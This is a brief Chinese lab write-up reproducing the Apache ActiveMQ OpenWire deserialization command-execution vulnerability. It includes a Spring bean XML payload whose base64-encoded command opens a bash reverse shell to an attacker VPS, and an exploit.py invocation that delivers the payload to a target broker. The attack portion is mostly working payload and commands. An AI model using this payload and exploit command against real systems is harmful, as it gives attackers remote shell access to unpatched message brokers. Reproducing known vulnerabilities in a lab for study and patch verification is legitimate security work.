Apache ActiveMQ OpenWire 协议反序列化命令执行漏洞
OpenWire协议在ActiveMQ中被用于多语言客户端与服务端通信。在Apache ActvieMQ5.18.2版本以及以前,OpenWire协议通信过程中存在一处反序列化漏洞,该漏洞可以允许具有网络访问权限的远程攻击者通过操作OpenWire协议中的序列化类型,导致代理的类路径上任何类实例化,从而执行任意命令。
143为VPS
131为靶机
复现
先将poc移动到VPS /var/www/html目录下
开启http服务
攻击机执行命令
成功
利用反弹shell
将xml改成反弹shell
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYyLjE0My8zMTAwNSAwPiYx}|{base64,-d}|{bash,-i}</value>
</list>
</constructor-arg>
</bean>
</beans>
nc和http同时开启
攻击机执行命令
python exploit.py -i 192.168.62.131 -u http://192.168.62.143:8000/poc.xml